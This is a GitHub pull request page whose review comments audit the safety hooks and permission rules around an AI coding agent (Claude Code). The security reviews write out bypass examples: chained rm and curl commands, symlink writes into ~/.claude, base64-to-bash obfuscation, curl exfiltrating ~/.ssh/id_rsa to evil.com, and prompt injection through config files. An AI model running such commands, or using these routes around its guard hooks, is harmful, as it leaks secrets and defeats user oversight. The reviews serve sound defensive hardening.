Skip to content

feat: Add settings-repo-ref tracking, harden write blocks, and expand developer guides#18

Open
WilcoLouwerse wants to merge 4 commits intofeature/claude-code-toolingfrom
docs/update-claude-developer-guides
Open

feat: Add settings-repo-ref tracking, harden write blocks, and expand developer guides#18
WilcoLouwerse wants to merge 4 commits intofeature/claude-code-toolingfrom
docs/update-claude-developer-guides

Conversation

@WilcoLouwerse
Copy link
Copy Markdown
Contributor

@WilcoLouwerse WilcoLouwerse commented Apr 13, 2026

Summary

  • Add optional ~/.claude/settings-repo-ref file so users can track a non-main branch/tag/SHA for global-settings version checks (applies to both the GitHub API and git fetch lookup paths in check-settings-version.sh).
  • Harden block-write-commands.sh to also protect settings-repo-ref, and add deny rules in settings.json for destructive commands (sudo, mkfs, dd if=, gh pr merge, gh repo delete, git reset --hard, git clean -f*, git filter-branch, git checkout --, git restore, git config --global, etc.).
  • Remove the CLAUDE.local.md flow: drop global-settings/CLAUDE.local.md.example and references in README/parallel-agents docs; gitignore .claude/settings.json and settings.local.json.
  • Bump global-settings/VERSION from 1.4.01.5.1.
  • Refresh the Claude developer guides under docs/claude/ (commands, getting-started, global-claude-settings, parallel-agents, testing, workflow, writing-docs, writing-skills, writing-specs) and the usage-tracker/ docs (MODELS, QUICKSTART, README, SETUP).
  • Document the skill-creator vendoring + update script, the evals/workspace/iteration-N layout, and the baseline_score regression marker in writing-skills.md; clarify L3/L5 detection criteria and the updated evals schema.
  • Add .gitattributes for line-ending normalization.
  • Add new guides: local-llm.md (local LLM setup) and playwright-setup.md (browser testing)
  • Add example files: .mcp.json.example and CLAUDE.local.md.example under docs/claude/examples/
  • Add settings-repo-ref.example and settings-repo-url.example templates
  • Remove obsolete exapp-sidecar-status.md

Checks

  • ⏭️ Local checks skipped — the only workflow (documentation.yml) does not trigger for PRs targeting feature/claude-code-tooling.

Test plan

  • CI passes
  • Tested locally
  • Reviewed for regressions

WilcoLouwerse and others added 3 commits April 10, 2026 14:32
Updates across Claude docs (commands, getting-started, global-claude-settings,
parallel-agents, testing, workflow, writing-docs, writing-skills, writing-specs),
usage-tracker docs (MODELS, QUICKSTART, README, SETUP), global-settings README,
adds .gitattributes for line ending normalization, and adds .claude/ config directory.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…ting-skills

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…v1.5.1

- global-settings: add optional settings-repo-ref file to track a non-main
  branch/tag/sha for version checks (GitHub API + git fetch paths), update
  block-write-commands.sh to protect the new file, and add deny rules for
  destructive commands (sudo, rm -rf root, gh pr merge, git reset --hard, etc.)
- Remove CLAUDE.local.md flow from docs (README, parallel-agents) and delete
  the example template; gitignore .claude/settings.json + settings.local.json
- writing-skills: document skill-creator vendoring + update script, the
  evals/workspace/iteration-N layout, and the baseline_score regression marker

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@WilcoLouwerse WilcoLouwerse changed the title Add settings-repo-ref tracking, harden write blocks, and refresh Claude developer guides feat: Add settings-repo-ref tracking and harden global-settings write blocks Apr 13, 2026
- Rename top-level heading to "Claude Code Developer Guide"
- Add new docs: local-llm.md, playwright-setup.md, examples/
- Remove obsolete exapp-sidecar-status.md
- Update commands, workflow, getting-started, parallel-agents,
  writing-docs, writing-specs, walkthrough, app-lifecycle, and
  global-claude-settings docs
- Add settings-repo-ref.example and settings-repo-url.example
- Update usage-tracker scripts (claude-track.py, install.sh) and docs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@WilcoLouwerse WilcoLouwerse changed the title feat: Add settings-repo-ref tracking and harden global-settings write blocks feat: Add settings-repo-ref tracking, harden write blocks, and expand developer guides Apr 14, 2026
@WilcoLouwerse WilcoLouwerse requested a review from MWest2020 April 14, 2026 18:50
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Voor de HWW 2.0 heb ik een json object die links bijhoudt, idee om dat hier ook te gaan doen? zodat we link maintenace op 1 plek krijgen. Ik zou denken dat we op en gegeven moment best ADR's weer los willen hebben omdat niet alleen hydra ze gebruikt?

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review feedback

1. commands.md is te lang (1291 regels, ~47 commands)

Dit bestand is onhoudbaar in zijn huidige vorm. Voorstel: opsplitsen naar domein, met commands.md als compact overzicht + cheat sheet en aparte bestanden per domein:

  • commands-openspec.md/opsx-* commands
  • commands-app.md/app-* en /clean-env
  • commands-testing.md — alle test commands + scenario's
  • commands-tender.md — tender/ecosystem intelligence

2. Team Role Commands (persona's) horen niet inline in een command reference

De persona-tabel (regel 510-531) beschrijft een concept, geen command reference. Verplaats naar een eigen doc (team-roles.md) of als sectie in workflow.md, en verwijs hier alleen:

For team-role agents, see Team Roles.

Dit houdt commands.md gefocust op wat het is: een command reference.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: writing-skills.md — te lang (789 regels, ~13K tokens)

Elke keer dat Claude (of een skill) dit bestand leest kost het ~13.000 tokens aan context. Bij een 200K window is dat ~6,5%; in combinatie met andere references loopt dat snel op.

Tops

  • Maturity levels (L1-L7) zijn goed doordacht — cumulatief model met duidelijke criteria per level
  • Common Patterns sectie is compact en direct bruikbaar als referentie
  • Bronvermelding overal — alles terug te voeren op Anthropic docs of community bronnen
  • Checklist aan het eind is praktisch als quick validation

Tips

  1. Level 5 is een document op zichzelf — 126 regels (r125-251), waarvan het meeste gaat over Skill Creator setup, update scripts, local-mods.patch, en baseline_score. Dat is een tool-setup-guide, geen level-definitie.
  2. Grote inline voorbeelden — de evals.json (46 regels JSON) en het learnings.md voorbeeld staan inline waar een verwijzing naar een example file volstaat.
  3. Vendor-specifieke setup (update-script, waarom jullie afwijken van upstream, hoe local-mods.patch werkt) hoort niet in een conceptueel doc over hoe skills te schrijven.

Refactor voorstel

Nieuw bestand Inhoud Regels (ca.)
writing-skills.md Maturity levels (compact, zonder inline voorbeelden), folder structure, naming, SKILL.md format, degrees of freedom ~350
skill-patterns.md Common Patterns + Subfolder Guide + Description Writing Guide ~150
skill-evals.md Alles over L5 measurement: evals.json schema, Skill Creator setup, baseline_score, workspace layout ~200
skill-checklist.md De checklist per level, standalone bruikbaar ~40

Dit brengt de standaard-leeskost van ~13K naar ~5-6K tokens per bestand, en skills laden alleen wat ze nodig hebben.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security review: block-write-commands.sh

Shellcheck is schoon (alleen style warnings). Maar er zitten structurele security gaps in die het script bypassbaar maken.


CRITICAL: Command chaining bypass via ^\s* anchor

De guards voor rm, curl, find, cat, sort, awk, date, hostname, env, rmdir, npm audit gebruiken allemaal ^\s*cmd\b — ze matchen alleen als het commando aan het begin staat. Geketende commando's ontsnappen:

echo done && rm -rf /important/dir        # rm guard kijkt niet
true ; curl -X POST https://evil.com      # curl guard kijkt niet
ls && find / -delete                       # find guard kijkt niet

De docker guard doet dit wél goed met \b i.p.v. ^\s*. Die aanpak moet consistent zijn voor alle guards.

Fix: Vervang ^\s*cmd\b door (^|[;&|]\s*)cmd\b of gebruik \bcmd\b voor alle guards.


HIGH: Symlink bypass voor .claude/ config guard

Het config write guard checkt op letterlijke pad-patronen. Maar symlinks omzeilen dit:

ln -s ~/.claude/settings.json /tmp/x && echo "owned" > /tmp/x

ln is niet bewaakt, en de write naar /tmp/x matched het protected path patroon niet. Hetzelfde geldt voor hardlinks.

Fix: Voeg een ln guard toe die symlinks/hardlinks naar ~/.claude/ blokkeert, of resolve paths met readlink -f voordat je patronen matcht.


HIGH: Command obfuscation bypass

Het script matched literal strings. Elke vorm van obfuscation omzeilt alles:

# Base64
echo "Z2l0IHB1c2g=" | base64 -d | bash

# Variable indirection
a=git; b=push; $a $b

# Hex escape
$'\x67\x69\x74' push

Dit is inherent aan regex-gebaseerde command filtering — je kunt het niet volledig oplossen. Maar de meest voorkomende patterns (variable assignment + execution, base64 -d | bash, eval) kunnen wel afgevangen worden.

Fix: Voeg een generieke guard toe voor | bash, | sh, base64 -d, en eval buiten de config-write sectie.


MEDIUM: printf format string in deny()

Op regel 102 bevat het deny-bericht ${_remote:-unknown} — een waarde uit git remote get-url. Als de remote URL % bevat, interpreteert printf die als format specifiers. Impact is laag (aanvaller moet de git remote URL controleren), maar een extra %s wrapper is schoner.


MEDIUM: Ontbrekende guards voor veelgebruikte write operations

Commando Risico Status
sed -i In-place file editing Niet bewaakt
chown Eigenaar wijzigen Niet bewaakt
ln -s / ln Symlinks aanmaken (bypass vector) Niet bewaakt
install Kopiëren + permissies zetten Niet bewaakt
xargs rm Write command via pipe Niet bewaakt (rm guard vereist ^\s*rm)
python -c "open('f','w')..." Script-write buiten .claude/ Niet bewaakt

LOW: Shellcheck findings

  • SC2016 (r45): sed pattern in single quotes is correct hier (intentional literal), geen bug
  • SC2002 (r93): cat file | trtr < file (minor efficiency)
  • SC2001 (r268): sed → parameter expansion (minor)

Tops

  • Git push autorisatie via transcript is een slimme aanpak — checkt de laatste user message i.p.v. blind toestaan
  • WSL boundary guard is grondig — exe's, drive mounts, en het wsl commando zelf zijn allemaal afgevangen
  • Docker guard is uitgebreid — dekt zowel docker als docker compose subcommands
  • Generic redirect safety net (r359-362) als vangnet voor onafgehandelde cases
  • Canonical repo verificatie voor config writes is goed doordacht (git remote check + gh api pad check)

Samenvatting

Het script doet veel goed, maar de ^\s* anchor-bug maakt de helft van de guards bypassbaar via simpele command chaining (&&, ;, ||). Dat is de belangrijkste fix. De symlink bypass en ontbrekende guards (sed -i, ln, chown) zijn de volgende prioriteit.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security review: check-settings-version.sh

319 regels. Shellcheck geeft 7 findings (5x style, 1x warning, 1x info). De echte issues zitten dieper.


HIGH: Prompt injection via config-bestanden

De variabelen $tracking_ref, $online_repo_slug, $installed_version, en $online_version worden ongevalideerd geïnterpoleerd in Claude-instructies op stdout (r237-301). Als een aanvaller een van deze bestanden kan manipuleren, kan die willekeurige instructies in Claude's prompt injecteren.

tr -d '[:space:]' verwijdert newlines (mitigeert multi-line injection), maar niet alle speciale tekens.

Fix: Valideer alle config-waarden tegen een strikt patroon:

  • tracking_ref^[a-zA-Z0-9._/-]+$
  • online_repo_slug^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$
  • versies → ^[0-9]+\.[0-9]+\.[0-9]+$

Weiger het script als een waarde niet matcht.


HIGH: Ongevalideerde repo slug in API calls

online_repo_slug (r112) wordt direct in gh api "repos/${online_repo_slug}/contents/..." (r117) geïnjecteerd. Zonder validatie dat het owner/repo format heeft, kan een gemanipuleerd settings-repo-url bestand willekeurige GitHub API endpoints aanroepen.

Fix: Valideer format (^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$) vóór gebruik.


MEDIUM: Predictable /tmp flag file (race condition + info leak)

session_key=$(echo "$transcript_path" | md5sum | cut -c1-12)
flag_file="/tmp/claude-version-warned-${session_key}"
  • De md5 is deterministisch — een ander proces kan het flag-bestand pre-creëren om de versie-check permanent te onderdrukken (DoS op update-notificaties).
  • Elke gebruiker op het systeem kan /tmp/claude-version-warned-* bestanden zien en afleiden wanneer Claude-sessies actief zijn.

Fix: Gebruik $XDG_RUNTIME_DIR (per-user, niet world-readable) of mktemp met restrictieve permissies.


MEDIUM: Glob expansion in semver_gt (SC2206)

local i ver1=($1) ver2=($2)    # r55

Met IFS=. wordt gesplit, maar als een versie-string * of ? bevat, expandeert bash die als glob. Bijv. 1.* matcht bestanden in de huidige directory.

Fix: read -ra ver1 <<< "$1" in plaats van unquoted array assignment.


MEDIUM: Geen integriteitsverificatie van gedownloade bestanden

De update-instructies (r260-294) pullen bestanden van GitHub en schrijven ze direct naar ~/.claude/ zonder checksum of signature check. De canonical-repo check in block-write-commands.sh is de enige verdediging, maar deze instructies worden aan Claude gegeven om uit te voeren — ze gaan via een ander pad.

Fix: Voeg een SHA256 checksum toe aan het VERSION-bestand, of verifieer na download dat de remote SHA matcht (gh api geeft file SHA terug).


LOW: timeout dependency niet gecheckt

Regels 118 en 135 gebruiken timeout zonder te controleren of het beschikbaar is (anders dan de gh check op r116). Op sommige minimale systemen ontbreekt timeout.

Fix: command -v timeout >/dev/null 2>&1 check, of gebruik een bash fallback.


LOW: Shellcheck findings

  • SC2206 (r55): Glob expansion in array assignment — zie MEDIUM hierboven
  • SC2002 (r36, r69, r77, r98, r112): cat file | cmdcmd < file
  • SC2028 (r273): echo met escaped \n — gebruik printf

Tops

  • Session-once guard — voorkomt dat de check elk prompt herhaalt (goed voor UX)
  • Fallback strategie — GitHub API → git fetch → graceful degradatie met warnings
  • Semver vergelijking is correct geïmplementeerd (10# prefix voor leading zeros)
  • Timeout op network calls — voorkomt dat een trage API call de hele sessie blokkeert
  • Duidelijke scheiding tussen stderr (visueel panel) en stdout (Claude-instructies)

Samenvatting

Het script is functioneel solide, maar de ongevalideerde config-waarden vormen een prompt injection en API abuse vector. De belangrijkste fix is input validatie op alle waarden die uit bestanden komen voordat ze in API calls of Claude-instructies terechtkomen. De /tmp race condition en glob expansion zijn de volgende prioriteit.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security review: settings.json

226 regels. Permissions (deny/allow), hooks, en MCP servers.


CRITICAL: Bash(gh api:*) en Bash(curl:*) in de allow-list zijn te breed

Beide staan in de allow-list en worden auto-approved. De hook vangt write-operaties af, maar:

curl — data exfiltratie zonder write flags:

curl "https://evil.com?token=$(cat ~/.ssh/id_rsa)"

Dit is een GET request, geen write flags → hook laat het door → allow-list approvet automatisch. Gevoelige data lekt via URL parameters.

gh api — als de hook een edge case mist (of crasht), wordt elke gh api call auto-approved, inclusief POST/DELETE.

Architecturaal probleem: Het security model is omgekeerd. De allow-list is breed, en de hook moet gevaarlijke varianten afvangen. Als de hook faalt (crash, bug, niet geladen), is de allow-list de enige gate — en die is te permissief.

Fix: Verwijder Bash(curl:*) en Bash(gh api:*) uit de allow-list. Laat ze door de hook gaan voor reads, en prompt voor alles anders. Of splits: Bash(curl -s:*) en Bash(gh api repos/ConductionNL:*) als je wilt narrowen.


HIGH: Bash(git -C:*), Bash(git branch:*), Bash(git remote:*) te breed

  • git -C /path commit -m "x" matcht Bash(git -C:*) → auto-approved als hook faalt
  • git branch -D main matcht Bash(git branch:*) → auto-approved als hook faalt
  • git remote add evil https://evil.com matcht Bash(git remote:*) → auto-approved als hook faalt

De hook is de enige bescherming voor write-varianten, maar de allow-list matcht het hele commando.

Fix: Splits de allow-regels naar specifieke read-only varianten:

"Bash(git branch --list:*)",
"Bash(git branch -a:*)",
"Bash(git branch -v:*)",
"Bash(git remote -v:*)",
"Bash(git remote show:*)"

HIGH: Bash(find:*), Bash(awk:*), Bash(env:*), Bash(sort:*) te breed

Allemaal in de allow-list, allemaal afhankelijk van de hook voor bescherming:

Allow rule Gevaarlijke variant Hook vangt af?
Bash(find:*) find / -delete Ja, maar alleen ^\s*find
Bash(awk:*) awk '{print > "/etc/passwd"}' Ja, maar alleen ^\s*awk
Bash(env:*) env bash -c "danger" Ja, maar zwak
Bash(sort:*) sort -o /etc/passwd Ja, maar alleen ^\s*sort

Gecombineerd met de ^\s* anchor-bug uit het block-write-commands.sh review: als het commando niet met het keyword begint, vangt de hook het niet af EN de allow-list kijkt alleen naar het begin van het commando.


MEDIUM: MCP servers — @latest supply chain risico

"command": "npx",
"args": ["-y", "@playwright/mcp@latest", ...]
  • @latest op 7 instances: elke sessie kan een nieuwe versie pullen. Bij een supply chain compromise zijn alle 7 browsers getroffen.
  • npx -y auto-installeert zonder bevestiging.
  • browser-6 mist --headless (r219) — bewust? De andere 6 hebben het wel.

Fix: Pin een specifieke versie: @playwright/mcp@0.0.23 (of welke versie getest is). 7 instances is veel — documenteer waarom.


MEDIUM: Deny-list gaps en overkill

Te streng:

  • Bash(git restore:*) blokkeert ook git restore --staged file.txt — een veilige, veelgebruikte operatie (unstage files). Dit gaat dagelijks frustreren.

Ontbreekt:

  • git push --force / git push -f staat niet in de deny-list (alleen via hook transcript-auth)
  • rm -rf staat niet in de deny-list (alleen via hook)
  • git rebase (kan history herschrijven)
  • pip install, npm install (kunnen arbitrary code uitvoeren)

LOW: Deny-regels voor Edit/Write op ~/.claude/ zijn redundant met hooks

Regels 4-15 denyen Edit/Write op config bestanden. De hook doet hetzelfde voor Bash. Redundantie is niet slecht (defense in depth), maar documenteer dat het bewust dubbel is, zodat toekomstige maintainers niet per ongeluk één laag verwijderen.


Tops

  • Defense in depth — deny-list + hook + file permissions (chmod) is drie lagen
  • Uitgebreide read-only allow-list — goede DX, Claude hoeft niet te vragen voor ls, git log, etc.
  • Docker read-only commands apart ge-allowlist (niet Bash(docker:*))
  • gh read commands specifiek per subcommand (pr list, pr view, etc.)

Samenvatting

Het kernprobleem is het omgekeerde security model: brede allow-regels (curl:*, gh api:*, git -C:*, find:*) vertrouwen op de hook als enige gate voor gevaarlijke varianten. Als de hook faalt of een edge case mist, is alles auto-approved. Fix: narrow de allow-regels naar bewezen read-only varianten. Pin Playwright MCP versie. Voeg git push --force toe aan deny-list.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestie: gebruik exit code 2 voor hard blocks

Claude Code hooks ondersteunen exit 2 als hard block — de tool call wordt geweigerd ongeacht de stdout output. Het huidige script doet altijd exit 0 + JSON deny, wat afhankelijk is van correcte output parsing.

Waarom dit ertoe doet

Als de JSON output corrupt raakt of de parser een edge case heeft, wordt een exit 0 + deny gemist en valt het door naar de allow-list in settings.json. Een exit 2 is een failsafe die onafhankelijk van output werkt.

Concrete toepassing

# Hard block — niets kan dit overrulen
hard_deny() {
    printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\n' "$1"
    exit 2    # ← failsafe: blocked zelfs als JSON parsing faalt
}

# Soft prompt — gebruiker kan goedkeuren
ask() {
    printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask","permissionDecisionReason":"%s"}}\n' "$1"
    exit 0
}

Welke cases exit 2 verdienen

Case Nu Voorstel
WSL boundary (r364-393) deny + exit 0 hard_deny + exit 2
.claude/ config write (r90-112) deny + exit 0 hard_deny + exit 2
date --set (r275-279) deny + exit 0 hard_deny + exit 2
Unauthorized git push (r243-249) deny + exit 0 hard_deny + exit 2
Soft prompts (rm, docker, curl, etc.) ask + exit 0 Blijft ask + exit 0

De JSON output behoud je voor de deny reason (zodat de gebruiker ziet waarom), maar exit 2 is het vangnet dat altijd werkt.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: usage-tracker/ — claude-track.py, claude-usage-tracker.py, install.sh

Wat het doet

Token usage tracker voor Claude Code. Leest JSONL-bestanden uit ~/.claude/projects/, berekent sessie- (5h rolling) en weekgebruik per model, en toont reports/status bars/continuous monitoring. Puur lokale read-only tool — geen API calls, geen uploads, geen netwerk.


MEDIUM: usage-tracker/logs/ en limits.json staan niet in .gitignore

Geverifieerd: de root .gitignore bevat alleen .idea/ en .claude/settings*.json. Er is geen usage-tracker/.gitignore. git check-ignore bevestigt dat deze bestanden niet genegeerd worden:

  • usage-tracker/logs/session.json — wordt elke monitor-cyclus geschreven met timestamps, token counts per model, en sessie-activiteit. Wordt meegecommit bij git add .
  • usage-tracker/logs/session-state.json — bevat gekalibreerde sessie-reset tijd (wanneer je Claude-sessie begon)
  • usage-tracker/limits.json — persoonlijke plan-limieten en weekly reset-tijden

De logs/ directory heeft een .gitkeep maar geen ignore-regel. Zodra de monitor draait, verschijnen er bestanden die per ongeluk gecommit kunnen worden.

Fix: Voeg toe aan .gitignore:

usage-tracker/logs/*.json
usage-tracker/limits.json

Security: grotendeels veilig

De tracker is bewust read-only en heeft een klein aanvalsoppervlak. Geen grote issues, wel hardening-punten:

LOW: Brede except Exception: pass maskeert fouten (6x)

Regels 80, 114, 240, 384, 628 in claude-usage-tracker.py — alle exceptions worden stil gesikt. Als een JSONL-bestand corrupt is of de JSON-parser een onverwachte fout geeft, merk je niets. Geen security-risico maar maakt debugging onmogelijk.

Fix: except (json.JSONDecodeError, KeyError, ValueError) i.p.v. bare Exception, of log naar stderr.

LOW: ln -sf in install.sh overschrijft bestaande symlinks stil (r29)

Als ~/.local/bin/claude-usage-tracker al naar iets anders wijst, wordt het zonder waarschuwing overschreven. De check op r26 kijkt alleen of het een symlink ís, niet waarheen die wijst.

LOW: subprocess.run zonder return code check (claude-track.py r71)

subprocess.run(["bash", str(setup_script)]) — als install.sh faalt weet de gebruiker het niet.

Fix: subprocess.run(..., check=True).


Kwaliteit

Tops:

  • Read-only by design — leest alleen JSONL, geen writes naar Claude's eigen bestanden
  • Geen netwerk — geen API calls, geen telemetrie, geen phone-home
  • subprocess.run met list-form (r71, r625) — geen shell injection mogelijk
  • Calibreerbaar--set-session-reset met input validatie (regex parsing)
  • Interruptible sleep met file-watching (r637-645) — reageert op config changes zonder polling
  • install.sh is shellcheck-clean — geen warnings

Tips:

  • importlib.util.spec_from_file_location in claude-track.py is fragiel — als claude-usage-tracker.py hernoemd wordt, crasht het zonder duidelijke foutmelding. Een gewone import met sys.path manipulatie is simpeler.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: usage-tracker/README.md + QUICKSTART.md

MEDIUM: README claimt dat bestanden git-ignored zijn, maar ze zijn het niet

git check-ignore bevestigt dat geen van deze bestanden genegeerd wordt:

  • README r36: limits.json ← Your plan limits (git-ignored)NIET git-ignored
  • README r43: logs/ ← Runtime data (git-ignored)NIET git-ignored
  • README r226: limits.json is git-ignored so it stays personalNiet waar

De root .gitignore bevat alleen .idea/ en .claude/settings*.json. Er is geen usage-tracker/.gitignore. Dit is een feitelijke onjuistheid die gebruikers een vals gevoel van veiligheid geeft — persoonlijke plan-limieten en sessie-data worden meegecommit bij git add ..

Fix: Voeg de ignore-regels daadwerkelijk toe (zie eerdere review), of verwijder de claim uit de README.


LOW: Command comment zegt "30s" maar commando doet 5 minuten

README regel 95-96:

# Continuous monitoring — all models, 30s refresh
python3 usage-tracker/claude-usage-tracker.py --monitor --all-models --interval 300

--interval 300 = 300 seconden = 5 minuten, niet 30 seconden. De comment is fout.


LOW: "Today" verwijzingen — verouderde terminologie

De tracker toont session (~5h rolling) en weekly metrics, geen "today":

  • README r24: Today's usage and this week's running total → moet "Session usage" zijn
  • README r244: "Today: 0.0%" but you've been working → de tracker toont nooit "Today: 0.0%"
  • QUICKSTART r156: "Today: 0.0%" → zelfde issue

Dit lijkt overgebleven van een eerdere versie die dagelijkse metrics had.


LOW: QUICKSTART r81 — "Replace the entire file content"

De VS Code task-instructie zegt het hele tasks.json te vervangen. Als de gebruiker al bestaande tasks heeft, zijn die weg. Zou moeten zijn: "voeg deze task toe aan het bestaande tasks array".


LOW: QUICKSTART r167-171 — Limits tabel is leeg

De "Real Limits Reference" tabel noemt alleen Sonnet en elke rij zegt "Varies by plan". De tabel voegt niets toe — verwijder of vul aan.


Tops

  • Architecture diagram (r266-272) met mermaid is helder en compact
  • Calibratie-instructie (r228) met concrete rekenvoorbeeld is praktisch
  • Link naar parallel-agents.md#two-kinds-of-token-limits werkt (geverifieerd)
  • Duidelijke structuur — Quick Start, Usage, Integration, Output Examples, Configuration, Troubleshooting als aparte secties

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: usage-tracker/SETUP.md + maintainability van de hele usage-tracker docs

MEDIUM: python3 usage-tracker/claude-usage-tracker.py staat 52x hardcoded

Geteld over de drie docs:

  • SETUP.md: 22x
  • README.md: 15x
  • QUICKSTART.md: 15x

Plus de Makefile (6x) en de VS Code task JSON (1x met ${workspaceFolder} prefix).

Als het pad, de bestandsnaam, of de Python-interpreter verandert, moet je op 52+ plekken zoeken-en-vervangen. Dit is niet alleen een maintenance-nachtmerrie — het is ook een attack vector: als iemand een ander script op datzelfde pad plaatst (of het origineel vervangt), vertrouwen alle docs erop dat het juiste bestand wordt uitgevoerd.

Fix — centraliseer het entry point:

De install.sh maakt al een symlink ~/.local/bin/claude-usage-tracker. En claude-track.py is al een launcher wrapper. Gebruik die:

# In alle docs, 1 commando:
claude-track report
claude-track status  
claude-track monitor

Dan staat het pad op exact 2 plekken: install.sh (symlink) en claude-track.py (import). 52 hardcoded paden → 0.

De Makefile kan dan ook simpeler:

report:
	@claude-track report

MEDIUM: Drie docs met 80% overlap

SETUP.md (382 regels), README.md (289 regels) en QUICKSTART.md (178 regels) herhalen grotendeels dezelfde content:

Content SETUP README QUICKSTART
Install stappen
--status-bar voorbeelden
--monitor voorbeelden
--limits uitleg
VS Code task JSON ref ✓ (volledig)
Output voorbeeld
Calibratie
Troubleshooting

Dit is 849 regels docs voor een utility van 752 regels code. Meer docs dan code, met drievoudige duplicatie.

Fix: Eén README.md met alles, of max twee: README.md (features + quick start + usage) en SETUP.md (alleen de diepe configuratie: limits.json, weekly reset, calibratie, VS Code task). QUICKSTART.md kan weg — het voegt niets toe dat niet in de eerste 30 regels van de README past.


Eerder gemelde issues die ook in SETUP.md zitten

  • r34: logs/, git-ignoredniet git-ignored (zelfde als README)
  • r54: Today: 0.0% → tracker toont nooit "Today"
  • r69: limits.json is git-ignoredniet git-ignored
  • r154: "Replace the entire file content" → overschrijft bestaande VS Code tasks
  • r286: Tabel noemt "Daily" limits → tracker heeft geen daily metrics, alleen session (5h) en weekly
  • r335: filtered to Mon UTC–now → alleen als weekly_reset_day niet geconfigureerd is
  • r338: "Today" in the tracker is an approximation → tracker toont geen "Today"

LOW: Makefile clean target doet rm -f zonder bevestiging (r63)

clean:
	@rm -f $(TRACKER_DIR)logs/*

Niet gevaarlijk (alleen logs/*.json), maar inconsistent met de rest van het security-model waar destructieve operaties bevestiging vereisen.


Tops

  • Calibratie-instructies (Step 2.5) zijn uitstekend — concrete rekenvoorbeelden, timezone conversie tabel, --limits verificatie
  • Cursor-compatibiliteit sectie (r375-382) is nuttig en compact
  • Makefile centraliseert tenminste de script-aanroepen voor de terminal

Samenvatting

De drie docs moeten naar twee (of één), de 52 hardcoded python3 usage-tracker/... paden naar het bestaande claude-track entry point, en alle "Today" en "git-ignored" claims moeten gefixed worden.

Copy link
Copy Markdown
Member

@MWest2020 MWest2020 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: overige 21 bestanden (batch)

Per bestand — opmerkingen waar nodig


docs/claude/README.md — 901 regels ⚠️

Veruit het langste doc in de PR. Bevat: guide-index, work pipeline, Windows workstation setup, WSL prerequisites, local config, directory structure, personas, ADRs, usage tracker, Hydra CI/CD, scripts, contributing, en troubleshooting.

Te lang. Dit is geen README meer, dit is een boek. De "Guides" index (r1-57) is prima. Alles daarna is content die in de gelinkte docs thuishoort:

  • Workstation Setup (r300-450) → eigen doc workstation-setup.md
  • Prerequisites WSL (r452-555) → zelfde doc of prerequisites.md
  • Personas (r696-713) → al voorgesteld als apart doc in de commands.md review
  • ADRs (r717-762) → verwijzing naar writing-adrs.md volstaat, de tabel dupliceert

Hardcoded python3 paden: r774, r777, r900 — zelfde issue als usage-tracker docs.


docs/claude/writing-docs.md — 554 regels ⚠️

Tweede langste doc. Ironie: een doc over docs schrijven dat zelf te lang is. De "Staleness Signals" tabel (25 rijen) en Part 2/3 (Writing Mechanics + Maintenance) zouden aparte bestanden kunnen zijn.


docs/claude/walkthrough.md — 429 regels ✓

Lang maar gerechtvaardigd — het is een volledig uitgewerkt voorbeeld met gesimuleerde output per fase. Geen issues.


docs/claude/writing-specs.md — 394 regels ✓

Goed gestructureerd. Stack-specifieke commando's (composer test, phpunit, newman) zijn correct voor de projectcontext. Geen issues.


docs/claude/local-llm.md — 284 regels

MEDIUM: sudo npm install -g (r140)

sudo npm install -g @qwen-code/qwen-code@latest

sudo met npm install -g voert package-scripts uit als root. Plus @latest is ongepind (supply chain). Twee problemen in één regel.

Fix: Drop sudo, gebruik een user-level install of npx, pin versie.

LOW: curl -fsSL https://ollama.com/install.sh | sh (r25) — pipe-to-shell install. Standaard voor Ollama maar inherent risico.


docs/claude/getting-started.md — 225 regels

LOW: npm install -g @fission-ai/openspec@latest (r67) — ongepinde @latest, zelfde patroon als Playwright.

Verder clean. Goede cross-links, logische opbouw.


docs/claude/global-claude-settings.md — 273 regels ✓

Security-kritisch doc. Goed geschreven. Documteert de hook trust model, het chmod-beschermingsmodel, en de canonical repo verificatie. browser-6 zonder --headless is bewust gedocumenteerd (consistent met playwright-setup.md en settings.json).


docs/claude/testing.md — 266 regels ✓

Clean. Browser assignment tabel consistent met playwright-setup.md. admin/admin credentials (r248) zijn voor lokale Docker dev — acceptabel.


docs/claude/workflow.md — 262 regels ✓

Clean. Dependency chain diagram en plan.json voorbeeld zijn helder. Geen issues.


docs/claude/parallel-agents.md — 136 regels

LOW: r19 zegt "a full day of normal usage" — zou "a full session" moeten zijn (5h rolling window, niet dagelijks).

Verder correct en compact.


docs/claude/playwright-setup.md — 74 regels

